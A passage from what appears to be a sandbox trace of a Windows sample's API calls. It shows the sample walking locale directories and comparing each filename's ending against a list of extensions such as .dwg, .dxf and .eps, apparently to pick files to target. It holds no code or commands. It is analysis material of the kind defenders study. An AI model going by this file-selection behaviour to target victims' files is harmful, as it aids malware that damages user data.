lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".dwg") returned 4 [0199.249] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".dwt") returned 4 [0199.249] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".dx") returned 3 [0199.249] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0199.249] lstrlenW (lpString=".dxf") returned 4 [0199.249] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".edml") returned 5 [0199.249] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0199.249] lstrlenW (lpString=".efd") returned 4 [0199.249] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".elf") returned 4 [0199.249] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0199.249] lstrlenW (lpString=".emf") returned 4 [0199.250] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0199.250] lstrlenW (lpString=".emz") returned 4 [0199.250] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0199.250] lstrlenW (lpString=".epf") returned 4 [0199.250] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0199.250] lstrlenW (lpString=".eps") returned 4 [0199.250] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0199.250] lstrlenW (lpString=".epsf") returned 5 [0199.250] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0199.250] lstrlenW (lpString=".epsp") returned 5 [0199.250] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0199.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.250] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0199.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.250] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1 [0199.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.251] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0199.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.251] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0199.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.251] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0199.251] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.251] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1 [0199.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.252] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0199.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.252] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0199.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.252] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0199.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.252] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0199.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.253] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0199.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.253] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0199.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.253] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0199.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.253] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0199.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.253] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1 [0199.254] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.254] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0199.254] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.254] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1 [0199.254] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.254] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0199.254] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.254] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0199.255] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.255] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1 [0199.255] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.255] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0199.255] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.255] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0199.255] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.255] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0199.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.256] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0199.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.256] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0199.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.256] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0199.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.256] FindNextFileW (in: hFindFile=0x44207e0, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0199.257] FindClose (in: hFindFile=0x44207e0 | out: hFindFile=0x44207e0) returned 1 [0199.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x45a1d68 | out: hHeap=0x420000) returned 1 [0199.257] FindNextFileW (in: hFindFile=0x44205e0, lpFindFileData=0x34fe420 | out: lpFindFileData=0x34fe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0 [0199.257] FindClose (in: hFindFile=0x44205e0 | out: hFindFile=0x44205e0) returned 1 [0199.257] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4591d60 | out: hHeap=0x420000) returned 1 [0199.259] FindNextFileW (in: hFindFile=0x44205a0, lpFindFileData=0x34fe69c | out: lpFindFileData=0x34fe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0 [0199.259] FindClose (in: hFindFile=0x44205a0 | out: hFindFile=0x44205a0) returned 1 [0199.259] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4525f88 | out: hHeap=0x420000) returned 1 [0199.260] FindNextFileW (in: hFindFile=0x44200a0, lpFindFileData=0x34fe918 | out: lpFindFileData=0x34fe918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1 [0199.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.261] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1 [0199.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.261] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0199.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.261] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0199.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.261] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0199.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.262] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1 [0199.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.262] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1 [0199.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0199.262] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fe1a4 | out: lpFindFileData=0x34fe1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, 